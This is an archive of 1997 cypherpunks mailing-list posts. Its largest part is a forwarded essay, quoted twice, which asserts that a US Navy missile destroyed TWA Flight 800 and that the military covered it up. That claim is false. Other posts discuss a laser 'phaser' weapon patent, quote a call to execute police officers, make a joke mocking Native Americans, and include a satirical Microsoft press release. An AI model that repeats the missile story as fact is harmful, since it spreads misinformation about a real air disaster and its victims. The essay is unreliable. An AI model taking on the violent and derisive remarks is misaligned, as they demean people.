<smaller>


</smaller>

        ______________________________________

       (free to forward & copy  with attribute)

        --------------------------------------



      T W A   8 0 0   M I S S I L E   T H E O R Y


        -  S T R O N G E R   T H A N   E V E R



        (c) (07/17/97) Ian Williams Goddard


        One year after the pulverized remains of

        TWA Flight 800 plunged into the sea, it's

        clearer than ever that the passengers on

        board were victims of a missile strike.


        While most of the 154 missile-witness

        accounts taken by the FBI remain covered

        up, a few accounts are available to the

        public, such as the accounts of 5 pilots

        who were flying in the area when TWA 800

        was suddenly annihilated:



        FIVE PILOTS - FIVE MISSILE WITNESSES


        PILOT 1: Colonel William Stratemeier, Jr.


        AVIATION WEEK & SPACE TECHNOLOGY reported

        that Air National Guard C-130 pilot Colonel

        Stratemeier "said he had seen what appeared

        to be the trail of a shoulder-fired SAM ending

        in a flash on the 747." [1] However, in the

        next issue of AVIATION WEEK Stratemeier re-

        cants, saying: "We did not see smoke trails

        [from a missile], any ignition source from

        the tail end of a rocket nor anything..."[2]


        Col. Stratemeier recanted and therefore was

        not hit with an FBI gag order, but the next

        two ANG pilots did not recant their accounts

        and therefore were hit with FBI gag orders.



        PILOT 2: Captain Christian Baur


        AVIATION WEEK & SPACE TECHNOLOGY reports

        that right after the TWA 800 accident, ANG

        HH-60 helicopter co-pilot Captain Baur told

        federal officials: "Almost due south, there

        was a hard white light, like burning pyrotech-

        nics, in level flight. I was trying to figure

        out what it was. It was the wrong color for

        flares. It struck an object coming from the

        right [TWA 800] and made it explode." [3]



        PILOT 3: Major Frederick Meyer


        At a press conference the day after the TWA

        800 accident, ANG HH-60 helicopter pilot Major

        Meyer said: "I saw something that looked to me

        like a shooting star.  Now you normally don't

        see a shooting star when the sun is up. It was

        still bright... Almost immediately thereafter,

        I saw, in rapid succession, a small explosion

        then a large explosion." [4] Meyer said that

        the initial explosion  "looked identical to

        the detonation of an antiaircraft shell."[3]



        PILOT 4: Vasilis Bakounis


        Private Pilot and Olympic Airlines engineer

        Vasilis Bakounis told the Greek publication

        ELEFTHEROTYPIA [5] that as he was heading

        toward Gabreski Airport on July 17, 1996,

        "Suddenly I saw in the fog to my left toward

        the ocean, a small flame rising quickly to-

        ward the sky. Before I realized it, I saw

        this flame become huge. My first thought was

        that it was a flare that had been launched

        from some boat... This flame then started

        to quickly lose altitude and a few seconds

        later there was... a second explosion."



        PILOT 5: Sven Faret


        Flying at 8,500 feet moments before the

        cataclysmic explosion of TWA 800, private

        pilot Sven Faret reported that a "short

        pin-flash of light appeared on the ground,

        perhaps water." [6] When asked if the flash

        of light rose upwards vertically from the

        earth, Sven confirmed that it did, stating

        that it was "like a rocket launch at a

        fireworks display" with a point-of-origin

        "near the shoreline or in the water." [7]


        All 5 pilots witnessed a rapidly moving

        luminous and fiery object that was:


        1. like a surface-to-air missile

        2. like burning pyrotechnics

        3. like a meteor yet not like a meteor

        4. like a small flame rising quickly

        5. like a rocket at a fireworks display


        All 5 accounts indicate that this rapidly

        moving fiery object hit TWA 800 initiating

        the explosions that killed all on board.

        At least 2 of the pilots saw the object

        early enough in its trajectory to have

        seen it rise upwards from the Earth.


        The accounts of the pilots in the air are

        corroborated by over 100 witnesses on the

        ground who also saw a fiery object shoot

        upwards and intercept TWA 800. Some of

        them said that the fiery object was:


        * like a flare

        * like a thin white line

        * like Grucci fireworks

        * like a skyrocket


        Most witnesses, such as Naneen Levine

        on CNN [8], report that the fiery object

        followed a curving trajectory as it shot

        upwards toward TWA 800. There is simply

        no phenomena other than the firing of a

        missile that can explain all the details

        reported by the witnesses who saw that

        luminous object streak toward TWA 800.


        When we also consider that TWA 800 wreck-

        age shows the signs of missile damage,[9]

        the real question is not was it a missile

        that hit TWA 800, but whose missile was it.



        TERRORISTS OR THE U.S. NAVY?


        While the number of "terrorist-missile

        theories" is greater than zero, the number

        of terrorists known to be in the area during

        the crash is zero. Military experts have

        shown that the probability that terrorists

        could even deploy the military hardware

        necessary to destroy TWA 800 with a missile

        is near zero. In sum, the terrorist-missile

        theory offers us a whole lot of nothing.


        In contrast to the terrorist-missile theory,

        the U.S. Navy (a) could deploy the military

        hardware necessary to take out TWA 800, (b)

        did deploy assets to the area that were both

        below and above TWA 800 when it was hit, and

        (c) did activate warning zones near TWA 800

        for military exercises and live-firings. TWA

        800 even changed course to avoid an active

        naval-warning zone moments before it was hit.

        Unlike the terrorist theory, the Navy-missile

        theory is overflowing with evidence.



        THE NAVY SHUFFLE


        It is common for the guilty to try to deny the

        facts that place them at the scene of the crime

        or accident. The U.S. military tried to deny

        the fact that it was at the scene of the TWA

        800 accident. On July 23, 1996, Department of

        Defense spokesman Kenneth Bacon told the press:


            I'm not aware [that] there were any

            military exercises in the area. I've

            been told by the Joint [Chiefs of]

            Staff that there were not. [10]


        Yet after eight months of such denials, the

        Navy finally admitted that naval exercises

        were taking place off Long Island at the time

        of the TWA 800 accident. [11] The Navy also

        admitted that they had three submarines off

        Long Island in the ocean below TWA 800. [11]


        We know that there were at least 8 military

        assets in the area of the TWA 800 accident:


        1. NAVY: The ALBUQUERQUE, attack sub

        2. NAVY: The TREPANG, attack sub

        3. NAVY: The WYOMING, ICBM sub

        4. NAVY: P-3 Orion aircraft

        5. NAVY: The NORMANDY, missile cruiser

        6. USCG: The ADAK, CG patrol boat

        7. NYANG: HC-130 aircraft

        8. NYANG: HH-60 helicopter


        Every asset except the Adak has either

        (a) been denied to exist or (b) had its

        reported location at the time of the TWA

        800 accident changed by the military. For

        example, while shuffling around crash-time

        locations for months, the military placed

        4 of its assets in 11 locations:



        The Navy-missile-cruiser Normandy was:

        1. 180 miles away [12]

        2. 185 miles away [13]

        3. over 200 miles away [11]


        The Navy P-3 Orion aircraft was:

        1. 15 miles to the south [14]

        2. about 1 mile southwest [15]

        3. 3,700 feet below TWA 800 [16]

        4. 7,000 feet above TWA 800 [15]


        The ANG C-130 aircraft was:

        1. 10 miles offshore [17]

        2. flying along the coast [18]


        The ANG HH-60 helicopter was:

        1. 10 miles offshore at 3,000 feet

           doing search and rescue practice.[1]

        2. 3 miles inland at 100 feet

           doing practice landings. [19]


        Are we to believe that with as many as

        nine military radar systems blanketing

        the area [20] it would take months for

        the military to figure out where it was?

        The pattern of location shifting has

        been to move military assets further

        away from the accident than initially

        reported or further than was eventually

        discovered, as in the case of the P-3,

        which tapes proved was more than 10x

        closer to TWA 800 than once claimed.


        If the denial of evidenced proximity to

        the crime scene is evidence of culpability,

        then, since multiple instances of military

        proximity to TWA 800 have been denied by

        the military, the evidence that the mili-

        tary is culpable in the downing of TWA

        800 is significant.  The fact that not

        only assets but military exercises were

        denied, makes this evidence compelling.



        CONNECTING THE DOTS


        TWA 800 researcher Tom Shoemaker recently

        discovered documents showing that both the

        New York Air National Guard and the Navy

        were engaged in a large-scale exercise

        called "Global Yankee '96" taking place

        off shore between July 16 and 26, 1996.[20]


        Shoemaker's findings confirm the claim of

        TWA 800 researcher James Sanders that the

        Navy and the ANG were working together

        at the time of the accident. [21]


        While the fact that ANG pilots reported

        what they saw would seem to contradict

        the possibility of their culpability, it

        is clear that the ANG is not being forth-

        right about the locations of ANG assets

        at crash time.[18,URL] It should also be

        noted that ANG co-pilot Baur never said

        what he saw when he had the chance to at

        a press conference after the crash; that

        Major Meyer suggested first and foremost

        that TWA 800 was hit by a meteorite; and

        that Stratemeier suggested it was hit by

        a terrorist-style missile, then suddenly

        claimed he saw nothing. If the Navy and/

        or the ANG are guilty, then the ANG pilot

        responses would be predictable misleads.


        One year after the fiery demise of TWA

        800, the  Navy-missile theory not only

        remains superior to all other TWA 800

        theories, but is stronger than ever.


_____________________________________________________________

REFERENCES___________________________________________________


[1] AVIATION WEEK & SPACE TECHNOLOGY: Terrorist Fears Deepen

    With 747's Destruction. E.Phillips, P.Mann (7/22/96) p.20.

[2] AVIATION WEEK & SPACE TECHNOLOGY: ANG Eyewitnesses Reject

    Missile Theory. David Fulghum, July 29, 1996, page 32.

[3] AVIATION WEEK & SPACE TECHNOLOGY: ANG Pilot: Jet Hit

    by Object. By David Fulghum, March 10, 1997.

[4] New York Air National Guard, 106th Rescue

    Wing press conference, July 18, 1996.

[5] ELEFTHEROTYPIA. Greece, August 23, 1996.

    Article by Aris Hatzigeorgiou. http://www.enet.gr

[6] Report of TWA 800 witness Sven Faret:

    http://www.webexpert.net/rosedale/twacasefile/aviator.html

[7] http://www.erols.com/igoddard/sven.htm

[8] CNN: TWA 800 witness Naneen Levine illustrates missile

    trajectory: http://www.erols.com/igoddard/levine.htm

[9] Debris: http://www.erols.com/igoddard/crash.htm

[10] Department of Defense press conference, July 23, 1996:

http://www.dtic.mil/defenselink/news/Jul96/t072396_t0723asd.html

[11] NEWSDAY: TWA Probe: Submarines Off LI. By R.E. Kessler,

     03/22/97. http://www.newsday.com/jet/cras0322.htm

[12] ASSOCIATED PRESS: Missile Attack a Favorite

     of Conspiracy Theorists. 09/03/96.

[13] ASSOCIATED PRESS: Document Says Navy Hit

     TWA Plane. By Jocelyn Noveck, 11/08/96.

[14] NEWSDAY: The Story So Far. By Craig Gordon, Lima Pleven,

     08/20/96. http://www.newsday.com/jet/jemyst20.htm

[15] ASSOCIATED PRESS: FBI Says Mystery Blip on Radar Tape

     is Unarmed Navy Reconnaissance Plane. 03/21/97.

[16] THE NEW AMERICAN: What Really Happened to TWA 800? By W.

     Jasper, 10/14/96. http://www.jbs.org/vo12no21.htm#TWA800

[17] NYANG says that the C-130 was in the area JAWS:

http://www.infoshop.com/106rescue/html/twa800-pres/sld002.html

     NYANG rep. James Finkle says JAWS is 10 miles offshore:

     http://www.webexpert.net/rosedale/twacasefile/jolly14.html

[18] NYANG rep. James Finkle says the C-130 was not in JAWS:

     http://www.webexpert.net/rosedale/twacasefile/jolly14.html

[19] In [1] the HH-60 is reported to have been offshore with the

     C-130, which the ANG says was in JAWS ten miles offshore,

     but then suddenly the HH-60 was moved over Gabreski Airport:

     http://www.webexpert.net/rosedale/twacasefile/jolly14.html

     I called AVIATION WEEK and was told that it was an NYANG

     representative who told them that the HH-60 was offshore.

     I was told that the NYANG rep. read the off shore 3,000

     ft altitude location straight from Major Meyer's report.

[20] http://www.webexpert.net/rosedale/twacasefile/newsfour.html

     Visit these pages and copy their contents:

     http://www.ang.af.mil/angrc-xo/xoom/aargy96.htm

     http://www.ang.af.mil/angrc-xo/glbynk/partcpnt.htm

     http://www.rl.af.mil/Lab/C3/current-events/gy_rap1.jpg

[21] The Downing of TWA Flight 800. By James Sanders, 1997.

<smaller>


</smaller>A pack of "unreferenced rumors"? HA! The media's presentation

of Ian Goddard's TWA 800 inquiry is a Big Lie in full display.




_____________________________________________

Ian Goddard <<igoddard@netkonnect.net>


- -- 
Ultimately, a nation of people are governed 
as they wish to be governed. - Jon Dougherty


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- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Fri, 14 Nov 1997 13:50:52 +0800
To: Robert Hettinga <cypherpunks@cyberpass.net
Subject: Re: Fwd: Set Phasers to Stun.
In-Reply-To: <v04002736b090e9185a7c@[139.167.130.248]>
Message-ID: <v03102806b0918601affc@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



>One attempt to overcome the limitations of tasers uses a stream of
>liquid that hits a victim with a 10 000-volt charge. This causes painful
>muscle spasms in the victim. But the liquid can split into droplets,
>breaking the electrical connection, and is hard to aim. Herr's invention
>uses lasers to generate intense beams of ultraviolet light.
>
>These create a path of ionised air down which precisely modulated
>electrical current is sent. The currents can be manipulated to cause
>painful contractions, stun a victim painlessly, or induce a heart
>attack. It has a far longer range than the taser-over 100 metres-and the
>beam can penetrate clothing. The phaser can also fire many shots before
>it needs reloading.
>
>Using ultraviolet light avoids legal restrictions on weapons that blind
>with laser light, since it would take several minutes to damage the
>retina with the wavelength of light used by the device.
>
>A hand-held version of the phaser is not yet available because the
>argon-fluoride discharge-pumped excimer laser it uses is as big as a
>kitchen table. Herr is hoping that others will find ways to make his
>device smaller and more powerful, as well as improve its range. He says
>that any technically competent person would be able to build a phaser.

I can't fathom why the PTO issued the patent.  This technology is well known in military circles (I'm sure I saw an article in Aviation Leak and Space Technology about this a few years back) for downing planes and even missiles. 

A shortcoming of the proposed approach, as noted above, is the size and cost for such lasers.  However, if one assumes that some portions of the system are single use, like cartridges and bullets in firearms, it might be possible to safely employ small explosive charges to pump a laser (either an excimer or FEL, free electron laser), either chemically or electrically.  See : http://www.cdsar.af.mil/kopp/apjemp.html

--Steve

PGP mail preferred, see  	http://www.pgp.com and
				http://web.mit.edu/network/pgp.html

RSA fingerprint: FE90 1A95 9DEA 8D61  812E CCA9 A44A FBA9
RSA key: http://keys.pgp.com:11371/pks/lookup?op=index&search=0x55C78B0D
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
Lammar Laboratories       |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: schear@lvdi.net
---------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Fri, 14 Nov 1997 13:51:40 +0800
To: "Ross Wright" <cypherpunks@cyberpass.net
Subject: Re: (Fwd) Victory For Microbroadcasting!!!!
In-Reply-To: <199711131942.LAA29385@adnetsol.adnetsol.com>
Message-ID: <v03102809b091947a167f@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



Kuddos!

At 11:45 AM -0700 11/13/1997, Ross Wright wrote:
>
>ANOTHER VICTORY FOR FREE RADIO BERKELEY & MICROPOWER BROADCASTING
>
>At 7 PM on Thursday, [ed: correction - Wednesday] November 12
>attorneys for Stephen Dunifer & Free Radio Berkeley received a 14 page
>decision via fax from Federal District Court Judge Claudia Wilken
>announcing her ruling in favor of Stephen Dunifer and Free Radio
>Berkeley. Her ruling denies the FCC's motion for summary judgement for
>a permanent injunction, states that she has jurisdiction in this case
>and that the FCC's regulatory structure is unconstitutional. Further,
>she orders the FCC to submit within 14 days a brief on the
>constitutional issues raised. 

I made similar comments unrelated to Stephen's case in my "Basis of FCC jurisdiction" rant posted to Cypherpunks and Telecom Regulation lists in September of '96.

"I've been wondering lately about the jurisdictional limits of the FCC
vis-a-vis the Article(s) of the Constitution from which they derive their
authority.  My understanding is that the FCC is empowered under the Fed's
interstate commerce clauses.  If so, how valid is their jurisdiction over
low power and/or millimeter wave transmissions.  It seems a case can be
made that such transmissions represent little or no possibility of
interstate transmission."


--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: goddesshera@juno.com (Anonymous Remailer)
Date: Fri, 14 Nov 1997 19:56:10 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Br'er Tim and the Bug Hole
Message-ID: <19971114.044546.8151.39.goddesshera@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Nov 12, 1997 at 01:16:36AM -0800, Blanc wrote:
> Kent Krispin wrote:
> 
> >Tim, like many, rationalizes his simmering anger by blaming it all on
> >the "bastids in the gubmit".  But it doesn't take much insight to see 
> >that there is something a little deeper going on, something a little 
> >sad. 
> ..................................................
> 
> 
> By jove, I think I've "got" it -  there *is* something deeper going on
here:
> 
> Tim is really an undercover 'narc' -  through his provocative remarks
he's
> actually encouraging all the violent terrorists on the list to come out
of
> their lurking holes and reveal themselves.  Then he's going to turn
them
> all in for a cash reward, which he'll use to buy more high-tech stock.
> 
> Yeah, that's it!

Could be, almost.  He wouldn't be a narc -- he would work for another
agency -- and he doesn't have to turn them in: they reveal themselves. 

In any case, he serves the function, whether deliberately or not. 




This message was automatically remailed. The sender is unknown, unlogged,
and nonreplyable. Send complaints and blocking requests to
<goddesshera@juno.com>.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 14 Nov 1997 16:05:09 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: Mad as Hell
In-Reply-To: <v03102801b08ffcdcfb0f@[207.167.93.63]>
Message-ID: <v03110721b0919b0ac313@[207.94.250.122]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:56 PM -0800 11/12/97, Tim May wrote:
>... Well, I will say
>what I said before: the BATF and LA County Sheriffs responsible and
>involved in this case should be tried in a criminal court, should be
>convicted (based on what I have seen), and they should then be sentenced to
>die in the gas chamber at San Quentin. This is, after all, what they do to
>gang bangers who shoot up liquor stores. Cops should face execution. In
>this case, a mass execution of the dozen raiding officers would send a
>strong message to other cops.)

A minor point.  The gas chamber has been declared a cruel and unusual
punishment.  We use lethal injection now.


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 14 Nov 1997 05:33:56 +0800
To: cypherpunks@toad.com
Subject: [OB: CRYTO] Re: about RC4
Message-ID: <199711132115.WAA27662@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Ryan Anderson wrote:
> > (And they wonder why we kicked Japan's butt.)

> Because they couldn't speak a non-native language perfectly?

  No...because they couldn't speak a 'Native' language perfectly.
Cherokee!

WagonBurner





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: semprini@theschool.com
Date: Fri, 14 Nov 1997 14:28:48 +0800
To: cypherpunks@toad.com
Subject: Microsoft Addresses Justice Department Accusations
Message-ID: <199711140617.WAA27386@k2.brigadoon.com>
MIME-Version: 1.0
Content-Type: text/plain



Microsoft Addresses Justice Department Accusations

REDMOND, Wash. -- Oct. 21, 1997 -- In direct response to accusations 
made by the Department of Justice, Microsoft Corporation announced 
today it will be acquiring the Federal Government of the United States 
of America for an undisclosed sum. "It's actually a logical extension 
of our growth," said Microsoft chairman and CEO Bill Gates. "It's a 
positive arrangement for everyone."

Microsoft representatives held a briefing at the Oval Office with US
President Bill Clinton, and assured members of the press that changes 
to US Government policy will be "minimal." The United States will be 
managed as a wholly owned subsidiary of Microsoft Corp. An initial 
public offering is planned for July 4 of next year, and the Federal 
Government is expected to be profitable by 1999, according to 
Microsoft president Steve Ballmer.

In a related announcement, President Bill Clinton stated that he had
"willingly and enthusiastically" accepted a position as vice 
president of USA Operations with Microsoft, and will continue to 
manage the United States government, reporting directly to Microsoft 
chairman and CEO Bill Gates. When asked how it felt to give up the 
mantle of executive authority, Clinton smiled and referred to it as "a 
relief." He went on to say that Gates has a "proven track record," and 
that US citizens should offer Gates their "full support and 
confidence."

In his new role at Microsoft, Clinton will reportedly be earning 
several times the $200,000 annually he currently earns as US 
president. Gates dismissed a rumor that the US Capitol be moved to 
Redmond as "silly," though he did say he would make executive 
decisions for the US government from his existing office at Microsoft 
headquarters.

Gates did say, however, that the US House and Senate would "of 
course" be abolished. "Microsoft isn't a democracy," Gates said, "yet 
look how well we're doing." When asked if the rumored attendant 
acquisition of Canada was proceeding, Gates would only say that 
Microsoft doesn't comment on unannounced products.

Microsoft representatives closed the conference by stating that United
States citizens will be able to expect lower taxes, increases in
government services, discounts on all Microsoft products, and the
immediate arrest of all executive officials of Sun Microsystems Inc. 
and Netscape Corp.

About Microsoft - Founded in 1975, Microsoft (NASDAQ "MSFT") is the
worldwide leader in software for personal computers, and democratic
government. The company offers a wide range of products and services 
for public, business and personal use, each designed with the mission 
of making it easier and more enjoyable for people to take advantage of 
the full power of personal computing and mostly free society every 
day. 

About the United States - Founded in 1776, the United States of 
America is the most successful nation n the history of the world, and 
has been a beacon of democracy and opportunity for over 200 years. 
Headquartered in Washington, DC, the United States is a wholly owned 
subsidiary of Microsoft Corporation.

"The United States of America" and "Microsoft" are registered 
trademarks of Microsoft Corporation.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Magus Mixmaster Anonymous Remailer Service <mix@magusnet.com>
Date: Fri, 14 Nov 1997 13:29:11 +0800
To: cypherpunks@cyberpass.net
Subject: Seeing Both Sides
Message-ID: <d96c40fc9c93dfc981de51eba53e6b67@magusnet.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Bob Hettinga wrote:
>But then, logic, much less independent thinking, was never 
>Foucault's strong point.

I took this statement at face value, but out of curiousity I decided to find
out who this guy Foucault was.  The things I read about him lead me to 
believe otherwise.

Some quotes from Michel Foucault:

 "The judges of normality are present everywhere.  We are in
  the society of the teacher-judge, the doctor-judge, the 
  educator-judge, the 'social worker'-judge."

 "Prison continues, on those who are entrusted to it, a work
  begun elsewhere, which the whole of society pursues on each
  individual through innumerable mechanisms of discipline."

How quick we are to condemn those who step out of the "norm", no?  As soon 
as someone says something even slightly controversial, our inner censors 
rush in to separate ourselves from that person, to chastise him, to condemn 
him, regardless of the relationship we have developed with him in the past.

There is this unfortunate property in man that leads him to disassociate 
himself from the ideas he holds true if it is convenient, and especially if 
it will allow him to avoid the ridicule, hatred and disdain of others.  In 
the never ending "pursuit of happiness" we seek to make our lives so 
comfortable that we will give up that which we hold dearest.

 "The work of an intellectual is not to mould the political 
  will of others; it is, through the analyses that he does in 
  his own field, to re-examine evidence and assumptions, to 
  shake up habitual ways of working and thinking, to dissipate
  conventional familiarities, to re-evaluate rules and 
  institutions and...to participate in the formation of a 
  political will (where he has his role as citizen to play)."

In other words, to make people think.  This is the goal of the intellectual. 
To subtly influence the mass of humanity by appealing to their minds, their 
reason, instead of their base instincts and emotions.  Tolerance and 
acceptance are results brought about in us by communion with the mind, that 
which is greatest in us.  Hatred, persecution, violence are what we fall 
back upon when we cease to live to our fullest potential.  We degenerate 
into the animals we once were.

Once again, Bob wrote:
>The world's foremost pseudomystical relativist cited to support an
>absolutist position. The logic escapes me. But then, logic, much less
>independent thinking, was never Foucault's strong point.

Perhaps one way of looking at it is that if you can't see the black and
the white, you're missing the whole picture.

After all, who would think that one would need to use an anonymous remailer
and a pseudonym to express oneself in a free and open society such as ours?

Nerthus

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 14 Nov 1997 13:42:56 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: TWA FLIGHT 800 (Subject matter - Terrorism)
In-Reply-To: <199711140249.VAA26185@users.invweb.net>
Message-ID: <346BD529.432D@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III wrote:

> >From: "Malcolm R.Innerarity" <m.innera@pcps.edu>
> >Subject: TWA FLIGHT 800 (Subject matter - Terrorism)
> From: Ian Goddard <igoddard@netkonnect.net>
> 
> CNN said that my TWA 800 research was a "sham" and a "plot."
> That is a lie. Here is one of my reports. All these referenced
> items are accurate. Can you find any "sham" or "plot"? If not,
> what does that tell us about CNN?  Spread this far and wide.
> Please save this now historical report. Other reports may
> be found here: http://www.copi.com/articles/Goddard

  Isn't CNN that wonderful source of news that recently brought us
the startling revelation that Richard Nixon really was a criminal?
  Next Week on CNN: Vietnam was a WAR, not a Police Action!

  Why does the FBI slap a gag order on witnesses who report facts
of what they have seen? To suppress the facts, obviously.
  What do the Nixon tapes now contain that they didn't contain at 
the time his criminality was being denied, he was being officially
pardoned, and there was an attempt to rehabilitate his public image? 
  Nothing!

  Now that the Official Explaination (TM) of the TWA affair has
turned out according to the Official Script (TM), I guess we have to
wait twenty or thirty years to find out exactly what information 
about the TWA affair is being suppressed.
  Until then, the government is once again our best friend, protecting
us from facts we do not need to know. Surprise, surprise!

TruthMonger
~~~~~~~~~~~
         ______________________________________
> 
>        (free to forward & copy  with attribute)
> 
>         --------------------------------------
> 
>       T W A   8 0 0   M I S S I L E   T H E O R Y
> 
>         -  S T R O N G E R   T H A N   E V E R
> 
>         (c) (07/17/97) Ian Williams Goddard
> 
>         One year after the pulverized remains of
> 
>         TWA Flight 800 plunged into the sea, it's
> 
>         clearer than ever that the passengers on
> 
>         board were victims of a missile strike.
> 
>         While most of the 154 missile-witness
> 
>         accounts taken by the FBI remain covered
> 
>         up, a few accounts are available to the
> 
>         public, such as the accounts of 5 pilots
> 
>         who were flying in the area when TWA 800
> 
>         was suddenly annihilated:
> 
>         FIVE PILOTS - FIVE MISSILE WITNESSES
> 
>         PILOT 1: Colonel William Stratemeier, Jr.
> 
>         AVIATION WEEK & SPACE TECHNOLOGY reported
> 
>         that Air National Guard C-130 pilot Colonel
> 
>         Stratemeier "said he had seen what appeared
> 
>         to be the trail of a shoulder-fired SAM ending
> 
>         in a flash on the 747." [1] However, in the
> 
>         next issue of AVIATION WEEK Stratemeier re-
> 
>         cants, saying: "We did not see smoke trails
> 
>         [from a missile], any ignition source from
> 
>         the tail end of a rocket nor anything..."[2]
> 
>         Col. Stratemeier recanted and therefore was
> 
>         not hit with an FBI gag order, but the next
> 
>         two ANG pilots did not recant their accounts
> 
>         and therefore were hit with FBI gag orders.
> 
>         PILOT 2: Captain Christian Baur
> 
>         AVIATION WEEK & SPACE TECHNOLOGY reports
> 
>         that right after the TWA 800 accident, ANG
> 
>         HH-60 helicopter co-pilot Captain Baur told
> 
>         federal officials: "Almost due south, there
> 
>         was a hard white light, like burning pyrotech-
> 
>         nics, in level flight. I was trying to figure
> 
>         out what it was. It was the wrong color for
> 
>         flares. It struck an object coming from the
> 
>         right [TWA 800] and made it explode." [3]
> 
>         PILOT 3: Major Frederick Meyer
> 
>         At a press conference the day after the TWA
> 
>         800 accident, ANG HH-60 helicopter pilot Major
> 
>         Meyer said: "I saw something that looked to me
> 
>         like a shooting star.  Now you normally don't
> 
>         see a shooting star when the sun is up. It was
> 
>         still bright... Almost immediately thereafter,
> 
>         I saw, in rapid succession, a small explosion
> 
>         then a large explosion." [4] Meyer said that
> 
>         the initial explosion  "looked identical to
> 
>         the detonation of an antiaircraft shell."[3]
> 
>         PILOT 4: Vasilis Bakounis
> 
>         Private Pilot and Olympic Airlines engineer
> 
>         Vasilis Bakounis told the Greek publication
> 
>         ELEFTHEROTYPIA [5] that as he was heading
> 
>         toward Gabreski Airport on July 17, 1996,
> 
>         "Suddenly I saw in the fog to my left toward
> 
>         the ocean, a small flame rising quickly to-
> 
>         ward the sky. Before I realized it, I saw
> 
>         this flame become huge. My first thought was
> 
>         that it was a flare that had been launched
> 
>         from some boat... This flame then started
> 
>         to quickly lose altitude and a few seconds
> 
>         later there was... a second explosion."
> 
>         PILOT 5: Sven Faret
> 
>         Flying at 8,500 feet moments before the
> 
>         cataclysmic explosion of TWA 800, private
> 
>         pilot Sven Faret reported that a "short
> 
>         pin-flash of light appeared on the ground,
> 
>         perhaps water." [6] When asked if the flash
> 
>         of light rose upwards vertically from the
> 
>         earth, Sven confirmed that it did, stating
> 
>         that it was "like a rocket launch at a
> 
>         fireworks display" with a point-of-origin
> 
>         "near the shoreline or in the water." [7]
> 
>         All 5 pilots witnessed a rapidly moving
> 
>         luminous and fiery object that was:
> 
>         1. like a surface-to-air missile
> 
>         2. like burning pyrotechnics
> 
>         3. like a meteor yet not like a meteor
> 
>         4. like a small flame rising quickly
> 
>         5. like a rocket at a fireworks display
> 
>         All 5 accounts indicate that this rapidly
> 
>         moving fiery object hit TWA 800 initiating
> 
>         the explosions that killed all on board.
> 
>         At least 2 of the pilots saw the object
> 
>         early enough in its trajectory to have
> 
>         seen it rise upwards from the Earth.
> 
>         The accounts of the pilots in the air are
> 
>         corroborated by over 100 witnesses on the
> 
>         ground who also saw a fiery object shoot
> 
>         upwards and intercept TWA 800. Some of
> 
>         them said that the fiery object was:
> 
>         * like a flare
> 
>         * like a thin white line
> 
>         * like Grucci fireworks
> 
>         * like a skyrocket
> 
>         Most witnesses, such as Naneen Levine
> 
>         on CNN [8], report that the fiery object
> 
>         followed a curving trajectory as it shot
> 
>         upwards toward TWA 800. There is simply
> 
>         no phenomena other than the firing of a
> 
>         missile that can explain all the details
> 
>         reported by the witnesses who saw that
> 
>         luminous object streak toward TWA 800.
> 
>         When we also consider that TWA 800 wreck-
> 
>         age shows the signs of missile damage,[9]
> 
>         the real question is not was it a missile
> 
>         that hit TWA 800, but whose missile was it.
> 
>         TERRORISTS OR THE U.S. NAVY?
> 
>         While the number of "terrorist-missile
> 
>         theories" is greater than zero, the number
> 
>         of terrorists known to be in the area during
> 
>         the crash is zero. Military experts have
> 
>         shown that the probability that terrorists
> 
>         could even deploy the military hardware
> 
>         necessary to destroy TWA 800 with a missile
> 
>         is near zero. In sum, the terrorist-missile
> 
>         theory offers us a whole lot of nothing.
> 
>         In contrast to the terrorist-missile theory,
> 
>         the U.S. Navy (a) could deploy the military
> 
>         hardware necessary to take out TWA 800, (b)
> 
>         did deploy assets to the area that were both
> 
>         below and above TWA 800 when it was hit, and
> 
>         (c) did activate warning zones near TWA 800
> 
>         for military exercises and live-firings. TWA
> 
>         800 even changed course to avoid an active
> 
>         naval-warning zone moments before it was hit.
> 
>         Unlike the terrorist theory, the Navy-missile
> 
>         theory is overflowing with evidence.
> 
>         THE NAVY SHUFFLE
> 
>         It is common for the guilty to try to deny the
> 
>         facts that place them at the scene of the crime
> 
>         or accident. The U.S. military tried to deny
> 
>         the fact that it was at the scene of the TWA
> 
>         800 accident. On July 23, 1996, Department of
> 
>         Defense spokesman Kenneth Bacon told the press:
> 
>             I'm not aware [that] there were any
> 
>             military exercises in the area. I've
> 
>             been told by the Joint [Chiefs of]
> 
>             Staff that there were not. [10]
> 
>         Yet after eight months of such denials, the
> 
>         Navy finally admitted that naval exercises
> 
>         were taking place off Long Island at the time
> 
